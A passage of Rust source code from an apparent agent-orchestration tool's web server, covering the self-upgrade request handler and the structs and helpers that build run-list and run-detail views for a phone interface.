3600                AutoUpgradeDecision::Wait => "busy; waiting for runs and chats to finish",
3601                AutoUpgradeDecision::Skip(reason) => reason,
3602                AutoUpgradeDecision::Trigger => unreachable!(),
3603            };
3604            updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3605            return StatusCode::NO_CONTENT.into_response();
3606        }
3607        // Close run admission, then recheck under the same request gate.
3608        // A resume that got in before the flag is visible in `resuming`;
3609        // one that arrives afterwards is refused by `begin_resume`.
3610        ui.upgrade_spawned
3611            .store(true, std::sync::atomic::Ordering::SeqCst);
3612        if ui.auto_upgrade_busy() {
3613            ui.upgrade_spawned
3614                .store(false, std::sync::atomic::Ordering::SeqCst);
3615            updater::log_step(&ui.home, "auto-upgrade: work started; waiting for idle");
3616            return StatusCode::NO_CONTENT.into_response();
3617        }
3618        updater::log_step(&ui.home, "auto-upgrade: idle; beginning update and restart");
3619        return finish_upgrade_request(
3620            ui,
3621            upgrade_checked_for(
3622                ui,
3623                env!("CARGO_PKG_VERSION").into(),
3624                Ok(Some(latest)),
3625                trigger,
3626            ),
3627        );
3628    }
3629    finish_upgrade_request(ui, upgrade_prepare(ui).await)
3630}
3631
3632fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3633    match result {
3634        Ok(out) => {
3635            *ui.upgrade_request_error
3636                .lock()
3637                .unwrap_or_else(PoisonError::into_inner) = None;
3638            out.into_response()
3639        }
3640        Err(error) if error.status != StatusCode::CONFLICT => {
3641            let failure = UpgradeRequestFailure::new(error.message);
3642            *ui.upgrade_request_error
3643                .lock()
3644                .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3645            let mut response = (error.status, Json(&failure)).into_response();
3646            if let Some(value) = failure
3647                .retry_after_secs
3648                .and_then(|secs| secs.to_string().parse().ok())
3649            {
3650                response.headers_mut().insert("retry-after", value);
3651            }
3652            response
3653        }
3654        Err(error) => error.into_response(),
3655    }
3656}
3657
3658async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3659    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3660        return Err(ApiError::conflict(
3661            "an upgrade is already in progress (this process started one and it \
3662             has not finished or failed yet)",
3663        ));
3664    }
3665    let recorded = updater::read_progress(&ui.home);
3666    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3667        return Err(ApiError::conflict(format!(
3668            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3669             stays stuck, restart the deck; on start it settles a stale record.",
3670            p.stage.as_str(),
3671            p.from,
3672            p.to.as_deref().unwrap_or("?"),
3673        )));
3674    }
3675
3676    // The same kill switch the background check honours (`disabled_by_env`),
3677    // checked before anything else for the same reason it is read before the
3678    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
3679    // contact GitHub from this process", and a button press must not
3680    // override that any more than a broken `magi.toml` may.
3681    if crate::updater::disabled_by_env() {
3682        return Ok((
3683            StatusCode::OK,
3684            Json(UpgradeView {
3685                from: env!("CARGO_PKG_VERSION").to_owned(),
3686                to: None,
3687                detail: format!(
3688                    "Automatic updates are disabled by {}. Nothing was parked \
3689                     and nothing restarted.",
3690                    crate::updater::NO_AUTOUPDATE_ENV
3691                ),
3692            }),
3693        ));
3694    }
3695
3696    // Check before disturbing listeners or scheduling: no available update
3697    // means there is no reason to restart anything.
3698    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3699    let from = env!("CARGO_PKG_VERSION").to_owned();
3700    let latest = match crate::updater::Checker::new(&cfg.update) {
3701        Some(checker) => checker.newer_release().await,
3702        None => Ok(None),
3703    };
3704    upgrade_checked(ui, from, latest)
3705}
3706
3707fn upgrade_checked(
3708    ui: &Arc<Ui>,
3709    from: String,
3710    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3711) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3712    upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3713}
3714
3715fn upgrade_checked_for(
3716    ui: &Arc<Ui>,
3717    from: String,
3718    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3719    trigger: updater::UpgradeTrigger,
3720) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3721    let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3722    let Some(latest) = latest else {
3723        return Ok((
3724            StatusCode::OK,
3725            Json(UpgradeView {
3726                from,
3727                to: None,
3728                detail: "Already on the newest release. Nothing was parked \
3729                         and nothing restarted."
3730                    .to_owned(),
3731            }),
3732        ));
3733    };
3734
3735    let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3736
3737    // Recorded before the spawn, not inside it: the phone's next `/api/health`
3738    // poll must see a `Downloading` stage immediately, not whenever the
3739    // spawned task happens to get scheduled.
3740    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3741    progress.trigger = trigger;
3742    updater::write_progress_logged(&ui.home, &progress);
3743
3744    let home = ui.home.clone();
3745    ui.upgrade_spawned
3746        .store(true, std::sync::atomic::Ordering::SeqCst);
3747    let spawned = Arc::clone(&ui.upgrade_spawned);
3748    let runner = ui.upgrade_runner;
3749    let failed = ui.auto_failed_tag.clone();
3750    let tag = latest.tag_name.clone();
3751    tokio::spawn(async move {
3752        if let Err(e) = runner(home.clone()).await {
3753            if trigger == updater::UpgradeTrigger::Auto {
3754                *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3755            }
3756            tracing::error!("the upgrade did not complete: {e:#}");
3757            // A failure of this attempt says nothing about a handover an
3758            // earlier request already has in flight; checked and written
3759            // under the progress lock.
3760            let _ = updater::fail_progress(&home, &format!("{e:#}"));
3761            // Release only after failure bookkeeping, before accepting a retry.
3762            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3763        }
3764    });
3765
3766    Ok((
3767        StatusCode::ACCEPTED,
3768        Json(UpgradeView {
3769            from,
3770            to: Some(latest.tag_name),
3771            detail,
3772        }),
3773    ))
3774}
3775
3776/// Replace the binary, then ask [`serve`] to hand the address over.
3777///
3778/// Separated from the handler so the 202 is already on its way, and separated
3779/// from the spawn so the successor starts only after the listener is dropped.
3780async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3781    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
3782    // hang the upgrade for as long as the process lives.
3783    crate::updater::run_self_update(true, false, true).await?;
3784    updater::log_step(&home, "binary replaced - recording the replaced stage");
3785    if let Some(mut progress) = updater::read_progress(&home) {
3786        progress.advance(updater::Stage::Replaced);
3787        updater::write_progress_logged(&home, &progress);
3788    }
3789    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3790    HANDOVER.notify_one();
3791    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3792    Ok(())
3793}
3794
3795/// One row in the run list.
3796///
3797/// The list route returns this rather than whole `RunState`s: the summary of a
3798/// run is a few hundred bytes and the state is megabytes, and the difference
3799/// is what makes the history usable on a mobile link.
3800#[derive(Debug, Serialize)]
3801struct RunSummary {
3802    activity: String,
3803    id: String,
3804    short: String,
3805    status: String,
3806    done: bool,
3807    instruction: String,
3808    title: String,
3809    repo: String,
3810    repo_name: String,
3811    created_at: String,
3812    updated_at: String,
3813    candidates: usize,
3814    viable: usize,
3815    judges: usize,
3816    winner: Option<char>,
3817    reviews: usize,
3818    quota_losses: usize,
3819    event: Option<String>,
3820    /// The later attempt at the same task that replaced this one, if any.
3821    ///
3822    /// Two cards with one title is otherwise unreadable: this is what lets
3823    /// the deck say "superseded by 4043" on the older of the pair.
3824    superseded_by: Option<String>,
3825    /// Blocked on a question nobody has answered.
3826    ///
3827    /// Derived from the question store rather than stored on the run: an agent
3828    /// calling `magi ask` blocks mid-node, and writing a status from there
3829    /// would race the graph's own save of `run.json` and be overwritten at the
3830    /// next node boundary. Asking the store is always true and never races.
3831    waiting: bool,
3832    /// Whether the process recorded as driving this run can still be proven
3833    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
3834    /// rather than presenting its last graph node as still in flight.
3835    live: crate::run::Liveness,
3836    /// The land loop's last look at the pull request, when there is one.
3837    pr: Option<crate::run::PrRecord>,
3838    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
3839    /// design — never picked up by the PR-polling merge watcher, unlike an
3840    /// ordinary `Ready` that may still be a live landing candidate. See
3841    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
3842    /// re-deriving the same check from `status` and `merge.mode` itself.
3843    unmerged_by_design: bool,
3844    /// Derived presentation status matching [`RunDetailView::display_status`].
3845    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
3846    #[serde(default)]
3847    display_status: String,
3848    /// What the status badge shows: `display_status`, or `superseded` for a
3849    /// non-live run a later attempt replaced. See [`run_badge_status`].
3850    #[serde(default)]
3851    badge_status: String,
3852    /// Who started the run, as the one label every surface shares; the
3853    /// "origin unknown" wording when the record predates origins.
3854    origin_label: String,
3855}
3856
3857impl RunSummary {
3858    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3859        Self {
3860            activity: crate::run_progress::activity(state, live, waiting),
3861            id: state.id.clone(),
3862            short: state.short().to_owned(),
3863            status: status_word(state.status),
3864            done: state.status.done(),
3865            unmerged_by_design: state.unmerged_by_design(),
3866            display_status: run_display_status(state, waiting, live),
3867            badge_status: run_display_status(state, waiting, live),
3868            instruction: state.instruction.clone(),
3869            title: title_from(&state.instruction, TITLE_MAX),
3870            repo: state.repo.display().to_string(),
3871            repo_name: state
3872                .repo
3873                .file_name()
3874                .map(|n| n.to_string_lossy().into_owned())
3875                .unwrap_or_default(),
3876            created_at: state.created_at.to_string(),
3877            updated_at: state.updated_at.to_string(),
3878            candidates: state.candidates.len(),
3879            viable: state.viable().len(),
3880            judges: state.config.graph.judges,
3881            winner: state.winner().map(|c| c.label),
3882            reviews: state.reviews.len(),
3883            quota_losses: state.quota.len(),
3884            event: state
3885                .verification_blocking_cause()
3886                .or_else(|| state.events.last().map(|e| e.message.clone())),
3887            waiting,
3888            live,
3889            // Filled in by the list route, which is the only place that can
3890            // see a task's other attempts.
3891            superseded_by: None,
3892            pr: state.pr.clone(),
3893            origin_label: crate::run::origin_label(state.origin.as_ref()),
3894        }
3895    }
3896}
3897
3898/// `RunStatus` as the wire spells it. Every variant is one word, so this is
3899/// the same string `serde` writes for the status inside a full run.
3900fn status_word(status: RunStatus) -> String {
3901    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
3902    // was a third way of naming the same statuses, and one that changed
3903    // silently with a derive.
3904    status.as_str().to_owned()
3905}
3906
3907/// The presentation status for a run, unified across summaries and details.
3908///
3909/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
3910/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
3911/// runs awaiting operator answers.
3912fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3913    if waiting {
3914        return "waiting".to_owned();
3915    }
3916    if state.unmerged_by_design() {
3917        return "unmerged".to_owned();
3918    }
3919    if !state.status.done() && live == crate::run::Liveness::Dead {
3920        // The driver claim clears this flag before saving another event.
3921        // A previous park event can therefore outlive a resumed driver.
3922        if state.parked {
3923            return "parked".to_owned();
3924        }
3925        return "stale".to_owned();
3926    }
3927    status_word(state.status)
3928}
3929
3930/// The word a run's status badge shows: `display_status`, except that a
3931/// non-terminal run which is not provably live and was replaced by a later
3932/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
3933///
3934/// Same judgement `magi show` uses (`RunState::liveness`, the task's
3935/// successor); a live driver, `Unknown` liveness and terminal runs keep their
3936/// own word, so superseded never claims more than "not live".
3937fn run_badge_status(
3938    state: &RunState,
3939    display_status: &str,
3940    live: crate::run::Liveness,
3941    superseded: bool,
3942) -> String {
3943    if state.status.done() || live == crate::run::Liveness::Live {
3944        return display_status.to_owned();
3945    }
3946    if superseded {
3947        return "superseded".to_owned();
3948    }
3949    // A dead run's `display_status` is `stale`, except that a deliberate park
3950    // and an open owner question keep their own word: neither is a crash, and
3951    // the question still needs an answer. Anything else dead reads `stale`.
3952    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3953        return "stale".to_owned();
3954    }
3955    display_status.to_owned()
3956}
3957
3958/// `?limit=`, clamped by the handler.
3959#[derive(Debug, Deserialize)]
3960struct ListQuery {
3961    #[serde(default)]
3962    limit: Option<usize>,
3963    /// Exact ids only; an empty value requests no rows (except queue blockers).
3964    ids: Option<String>,
3965}
3966
3967impl ListQuery {
3968    fn contains(&self, id: &str) -> bool {
3969        self.ids
3970            .as_ref()
3971            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3972    }
3973}
3974
3975async fn runs_list(
3976    State(ui): State<Arc<Ui>>,
3977    Query(q): Query<ListQuery>,
3978) -> ApiResult<Json<Vec<RunSummary>>> {
3979    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3980    blocking(move || {
3981        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3982        let states = run_ids(&ui.runs)
3983            .into_iter()
3984            // A run whose state cannot be read is skipped, not fatal: a run
3985            // killed mid-write must not blank the history of every other one.
3986            // The detail route still explains it, which is where an operator
3987            // asking "what happened to that run" ends up.
3988            .filter_map(|id| read_run(&ui.runs, &id).ok())
3989            .take(limit)
3990            .filter(|run| q.contains(&run.id));
3991        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3992        let summaries = summarize(
3993            states,
3994            &open_runs,
3995            &claimed,
3996            &superseded,
3997            |p| probe.borrow_mut().status(p),
3998            |p| probe.borrow_mut().started_at(p),
3999        );
4000        Ok(Json(summaries))
4001    })
4002    .await
4003}
4004
4005/// Everything the per-run rows share, read once: runs with an open question,
4006/// runs a live daemon claims, and the superseded map. Asking per run re-read
4007/// every question file and the daemon status file for each of hundreds of
4008/// runs, and spawned a process probe per run on Windows.
4009fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
4010    let open_runs: HashSet<String> = ui
4011        .questions
4012        .list()
4013        .into_iter()
4014        .filter(|q| q.status.open())
4015        .map(|q| q.run)
4016        .collect();
4017    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
4018        .into_iter()
4019        .map(|c| c.run)
4020        .collect();
4021    (open_runs, claimed, ui.queue.superseded())
4022}
4023
4024/// The rows of the run list, given everything that is shared between them.
4025///
4026/// Pure over its inputs so a test can count how often the process queries are
4027/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
4028/// takes, called at most once per run.
4029fn summarize<I, S, D>(
4030    states: I,
4031    open_runs: &HashSet<String>,
4032    claimed: &HashSet<String>,
4033    superseded: &HashMap<String, String>,
4034    mut status_q: S,
4035    mut identity_q: D,
4036) -> Vec<RunSummary>
4037where
4038    I: IntoIterator<Item = RunState>,
4039    S: FnMut(u32) -> Option<bool>,
4040    D: FnMut(u32) -> Option<String>,
4041{
4042    states
4043        .into_iter()
4044        .map(|state| {
4045            let waiting = open_runs.contains(&state.id);
4046            let live =
4047                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
4048            let mut row = RunSummary::of(&state, waiting, live);
4049            row.superseded_by = state
4050                .pr_taken_over_by
4051                .as_ref()
4052                .or_else(|| superseded.get(&state.id))
4053                .map(String::as_str)
4054                .map(crate::run::short_of)
4055                .map(str::to_owned);
4056            row.badge_status = run_badge_status(
4057                &state,
4058                &row.display_status,
4059                live,
4060                row.superseded_by.is_some(),
4061            );
4062            row
4063        })
4064        .collect()
4065}
4066
4067/// A run as the detail route hands it to the phone.
4068///
4069/// The whole state, flattened, plus `instruction_md`: the Task panel renders
4070/// the instruction as markdown, and the raw `instruction` field this struct
4071/// still carries (unchanged) is what a client wanting the exact bytes reads
4072/// instead.
4073#[derive(Debug, Serialize)]
4074struct RunDetailView {
4075    progress: crate::run_progress::Progress,
4076    stop_reason: Option<String>,
4077    #[serde(flatten)]
4078    state: RunState,
4079    instruction_md: Vec<md::Node>,
4080    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
4081    /// mirror the records they come from, index for index; the raw strings
4082    /// stay in `state` and decide whether a block is shown at all.
4083    #[serde(flatten)]
4084    prose_md: RunProseMd,
4085    /// Whether a process is actually still driving this run: `"live"`,
4086    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
4087    ///
4088    /// `state.active` (flattened in above) is only ever cleared by the
4089    /// process that populated it; a killed one leaves its last wave's
4090    /// entries behind. Carrying this alongside is what lets the phone rail
4091    /// tell "this seat is still answering" from "this seat was still
4092    /// answering when whatever was driving this run died" without a second
4093    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
4094    /// proof of either. A string rather than a bool on purpose: a daemon
4095    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
4096    /// and neither proven is `"unknown"` — folding that third case into
4097    /// either end of a bool is exactly the wrong call for a phone screen an
4098    /// operator uses to decide whether to wait or to act.
4099    live: crate::run::Liveness,
4100    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
4101    /// alongside the flattened `state` rather than inside it, since
4102    /// `RunState` has no business knowing which of its own methods a caller
4103    /// wants serialized.
4104    unmerged_by_design: bool,
4105    /// Same field and meaning as [`RunSummary::waiting`].
4106    #[serde(default)]
4107    waiting: bool,
4108    /// Same derived presentation status as [`RunSummary::display_status`].
4109    #[serde(default)]
4110    display_status: String,
4111    /// Same field and meaning as [`RunSummary::badge_status`].
4112    #[serde(default)]
4113    badge_status: String,
4114    /// Same field and meaning as [`RunSummary::done`]: whether the status is
4115    /// terminal. The client's `landView` keys on it, and the flattened state
4116    /// has no such field, so without it a finished run's stale `open` PR
4117    /// would be painted as live on the detail page.
4118    done: bool,
4119    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
4120    /// route fills it from [`Queue::superseded`], the detail route from
4121    /// [`Queue::superseded_by`], and both read the same underlying task
4122    /// order. Without this the detail page could only ever show a red
4123    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
4124    /// with nothing anywhere saying so — an operator opening it had no way
4125    /// to tell "this is done elsewhere" from "this still needs a retry".
4126    superseded_by: Option<String>,
4127    /// The task's current attempt, when this run is an older one — resolved
4128    /// from [`Queue::latest_attempt`] and this run's own state, not left for
4129    /// the client to derive.
4130    ///
4131    /// Three things a client cannot safely do on its own drove this onto the
4132    /// server: it has to name the chain's *current head*, not just the next
4133    /// attempt (`superseded_by` above), because an intermediate retry in a
4134    /// longer chain can itself still be unresolved; it has to resolve to a
4135    /// real id rather than a short id a client would have to guess a full id
4136    /// from, which is ambiguous the moment two runs share a suffix; and it
4137    /// has to read that head's own status directly, because whether a run
4138    /// list a client happens to have cached even contains that attempt
4139    /// depends on a page limit this route knows nothing about.
4140    latest_attempt: Option<LatestAttempt>,
4141    /// The queue task this run belongs to, so the detail page can link back
4142    /// to the task's own page. `None` for a run nobody queued (`magi run`).
4143    task: Option<TaskRef>,
4144    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
4145    /// run recorded before origins existed. `origin` itself (flattened in
4146    /// with `state`) is `null` in that case.
4147    origin_label: String,
4148    /// Each recorded pass over this run, with the cause it stopped for. Empty
4149    /// for a run from before passes were kept: its earlier passes are unknown.
4150    pass_views: Vec<PassView>,
4151}
4152
4153/// A task named from a run's detail page.
4154#[derive(Debug, Serialize)]
4155struct TaskRef {
4156    id: String,
4157    short: String,
4158    title: String,
4159    /// [`Source::label`], e.g. `chat@a1b2`.
4160    source_label: String,
4161    /// Where the task came from, when that place has a page; see [`source_link`].
4162    source_link: Option<SourceLink>,
4163    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
4164    status: &'static str,
4165    attempts: usize,
4166    max_attempts: usize,
4167    /// This run is the last entry of the task's run list.
4168    is_latest: bool,
4169    /// The task's newest run, when it is not this one.
4170    latest: Option<RunBrief>,
4171    /// The run that finished a `done` task (merged, or already in the base).
4172    finished_by: Option<RunBrief>,
4173    /// The task is `done` but no run on record finished it: closed by hand.
4174    closed_by_hand: bool,
4175}
4176
4177/// The page that filed a task, as the UI links to it.
4178#[derive(Debug, PartialEq, Eq, Serialize)]
4179struct SourceLink {
4180    /// `chat` (a conversation) or `run` (a run's node).
4181    kind: &'static str,
4182    /// The full id, never the short one in the label.
4183    id: String,
4184    /// The hash route that opens it.
4185    href: String,
4186}
4187
4188/// Percent-encode everything outside the URL-unreserved set.
4189fn encode_segment(raw: &str) -> String {
4190    let mut out = String::with_capacity(raw.len());
4191    for b in raw.bytes() {
4192        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
4193            out.push(b as char);
4194        } else {
4195            out.push_str(&format!("%{b:02X}"));
4196        }
4197    }
4198    out
4199}
4200
4201/// The one place that decides where a task's source links to. A chat
4202/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
4203/// a person or an imported issue has no page, so no link.
4204fn source_link(source: &Source) -> Option<SourceLink> {
4205    let Source::Agent { run, node } = source else {
4206        return None;
4207    };
4208    let (kind, route) = if node == crate::queue::CHAT_NODE {
4209        ("chat", "chat")
4210    } else {
4211        ("run", "runs")
4212    };
4213    Some(SourceLink {
4214        kind,
4215        id: run.clone(),
4216        href: id_links::page_href(route, run),
4217    })
4218}
4219
4220/// The parent task of a follow-up, when its file can still be read.
4221#[derive(Debug, Serialize, PartialEq)]
4222struct FollowUpParent {
4223    id: String,
4224    short: String,
4225    title: String,
4226    /// The parent's own status (`TaskStatus::as_str`).
4227    status: &'static str,
4228    href: String,
4229}
4230
4231/// The merged run a follow-up was filed from.
4232#[derive(Debug, Serialize, PartialEq)]
4233struct FollowUpRun {
4234    id: String,
4235    short: String,
4236    /// `None` when the run's record cannot be read.
4237    status: Option<&'static str>,
4238    /// `None` unless the record could be read: never a dead link.
4239    href: Option<String>,
4240}
4241
4242/// Where a follow-up task came from, resolved once per task page so the flow
4243/// chart and the detail block cannot disagree. See [`followup_origin`].
4244#[derive(Debug, Serialize, PartialEq)]
4245struct FollowUpOrigin {
4246    /// Present only when `origin_task` is set and that task still exists.
4247    parent: Option<FollowUpParent>,
4248    run: FollowUpRun,
4249    /// The merged pull request, verbatim. Not an href: the client passes it
4250    /// through `forgeUrl()` and renders text when that refuses it (the one
4251    /// exception to "the href rule is Rust's alone", since a forge URL is
4252    /// data from a record, not a route).
4253    pr: String,
4254    findings: Vec<String>,
4255    generation: u32,
4256}
4257
4258/// The one place that decides what a follow-up links to. A parent that cannot
4259/// be read (gone, or an id that names nothing) is `None`, never an error.
4260fn followup_origin(
4261    fu: &crate::queue::FollowUp,
4262    task: impl Fn(&str) -> Option<Task>,
4263    run: impl Fn(&str) -> Option<RunState>,
4264) -> FollowUpOrigin {
4265    let parent = fu
4266        .origin_task
4267        .as_deref()
4268        .and_then(task)
4269        .map(|t| FollowUpParent {
4270            short: t.short().to_owned(),
4271            href: format!("#/tasks/{}", encode_segment(&t.id)),
4272            status: t.status.as_str(),
4273            title: t.title,
4274            id: t.id,
4275        });
4276    let state = run(&fu.run);
4277    FollowUpOrigin {
4278        parent,
4279        run: FollowUpRun {
4280            short: run::short_of(&fu.run).to_owned(),
4281            status: state.as_ref().map(|s| s.status.as_str()),
4282            href: state
4283                .is_some()
4284                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
4285            id: fu.run.clone(),
4286        },
4287        pr: fu.pr.clone(),
4288        findings: fu.findings.clone(),
4289        generation: fu.generation,
4290    }
4291}
4292
4293/// Another run of the same task, as named from a run's detail page.
4294#[derive(Debug, Serialize)]
4295struct RunBrief {
4296    id: String,
4297    short: String,
4298    /// `None` when the run's record cannot be read.
4299    status: Option<&'static str>,
4300    /// The task-page wording for how that pass ended.
4301    outcome: String,
4302    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
4303    badge: Option<String>,
4304}
4305
4306/// The task's overall outcome as seen from `this_run`'s page, classified with
4307/// the same exits the task page's flowchart uses.
4308fn task_outcome(
4309    task: &Task,
4310    this_run: &str,
4311    max_attempts: usize,
4312    read: impl Fn(&str) -> Option<RunState>,
4313) -> TaskRef {
4314    let max_attempts = task.effective_attempt_limit(max_attempts);
4315    let history = task_history(task, read);
4316    let brief = |h: &TaskRunView| RunBrief {
4317        id: h.id.clone(),
4318        short: h.short.clone(),
4319        status: h.status,
4320        outcome: h.exit.edge_label(h.status),
4321        badge: h.badge.clone(),
4322    };
4323    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
4324    let latest = if is_latest {
4325        None
4326    } else {
4327        history.last().map(brief)
4328    };
4329    let done = task.status == TaskStatus::Done;
4330    let finished_by = done
4331        .then(|| {
4332            history
4333                .iter()
4334                .rev()
4335                .find(|h| {
4336                    matches!(
4337                        h.exit,
4338                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
4339                    )
4340                })
4341                .map(brief)
4342        })
4343        .flatten();
4344    TaskRef {
4345        short: task.short().to_owned(),
4346        title: task.title.clone(),
4347        id: task.id.clone(),
4348        source_label: task.source.label(),
4349        source_link: source_link(&task.source),
4350        status: task.status.as_str(),
4351        attempts: task.attempts,
4352        max_attempts,
4353        is_latest,
4354        latest,
4355        closed_by_hand: done && finished_by.is_none(),
4356        finished_by,
4357    }
4358}
4359
4360/// The task's current attempt, as seen from an older one's detail page.
4361#[derive(Debug, Serialize)]
4362struct LatestAttempt {
4363    id: String,
4364    short: String,
4365    /// Whether this attempt itself settled with a result nobody needs to
4366    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
4367    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
4368    /// unconfirmed claim that no change was needed, which is exactly why it
4369    /// settles the task through `Held` rather than `Done` and still waits on
4370    /// a human to check the evidence; showing an older run as "finished
4371    /// elsewhere" on the strength of an unverified claim would bury the
4372    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
4373    /// in-flight status are excluded because they are exactly the
4374    /// unresolved states this field exists to tell apart from a real finish.
4375    resolved: bool,
4376    /// The attempt's own recorded status, so the page can say where it
4377    /// stands while it is not resolved yet.
4378    status: RunStatus,
4379    /// Whether that status is terminal (nothing is still running it).
4380    done: bool,
4381}
4382
4383/// Markdown for the free-text prose of a run, parallel to `RunState`.
4384#[derive(Debug, Default, Serialize)]
4385struct RunProseMd {
4386    /// `None` when the run has no design deliberation.
4387    advice_md: Option<AdviceMd>,
4388    /// One entry per candidate: the summary.
4389    candidate_summaries_md: Vec<Vec<md::Node>>,
4390    /// One entry per review round, in `reviews` order.
4391    reviews_md: Vec<RoundMd>,
4392}
4393
4394#[derive(Debug, Default, Serialize)]
4395struct AdviceMd {
4396    synthesis: Vec<md::Node>,
4397    /// One per record; empty for a seat with no proposal.
4398    approaches: Vec<Vec<md::Node>>,
4399}
4400
4401#[derive(Debug, Default, Serialize)]
4402struct RoundMd {
4403    /// One per reviewer record.
4404    reviewers: Vec<ReviewerMd>,
4405    /// One per `reconsideration` entry: the reason.
4406    reconsideration: Vec<Vec<md::Node>>,
4407    fix: Option<FixMd>,
4408}
4409
4410#[derive(Debug, Default, Serialize)]
4411struct ReviewerMd {
4412    summary: Vec<md::Node>,
4413    /// One per finding, in recorded order (not the display order).
4414    findings: Vec<Vec<md::Node>>,
4415}
4416
4417#[derive(Debug, Default, Serialize)]
4418struct FixMd {
4419    notes: Vec<md::Node>,
4420    /// One per rejection: the argument.
4421    rejected: Vec<Vec<md::Node>>,
4422}
4423
4424/// Parse a run's agent-written prose; a pure function of the state.
4425fn run_prose_md(state: &RunState) -> RunProseMd {
4426    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4427    RunProseMd {
4428        advice_md: state.advice.as_ref().map(|a| AdviceMd {
4429            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4430            approaches: a
4431                .records
4432                .iter()
4433                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4434                .collect(),
4435        }),
4436        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4437        reviews_md: state
4438            .reviews
4439            .iter()
4440            .map(|round| RoundMd {
4441                reviewers: round
4442                    .reviews
4443                    .iter()
4444                    .map(|rec| ReviewerMd {
4445                        summary: nodes(&rec.summary),
4446                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4447                    })
4448                    .collect(),
4449                reconsideration: round
4450                    .reconsideration
4451                    .iter()
4452                    .map(|rv| nodes(&rv.reason))
4453                    .collect(),
4454                fix: round.fix.as_ref().map(|fix| FixMd {
4455                    notes: nodes(&fix.notes),
4456                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4457                }),
4458            })
4459            .collect(),
4460    }
4461}
4462
4463impl RunDetailView {
4464    fn of(
4465        state: RunState,
4466        waiting: bool,
4467        live: crate::run::Liveness,
4468        superseded_by: Option<String>,
4469        latest_attempt: Option<LatestAttempt>,
4470        task: Option<TaskRef>,
4471    ) -> Self {
4472        let display_status = run_display_status(&state, waiting, live);
4473        let stop_reason = crate::stop_reason::of(
4474            &state,
4475            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4476        );
4477        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4478        Self {
4479            progress: crate::run_progress::build(&state, live, waiting),
4480            stop_reason,
4481            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4482            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4483            prose_md: run_prose_md(&state),
4484            origin_label: crate::run::origin_label(state.origin.as_ref()),
4485            live,
4486            unmerged_by_design: state.unmerged_by_design(),
4487            waiting,
4488            display_status,
4489            badge_status,
4490            done: state.status.done(),
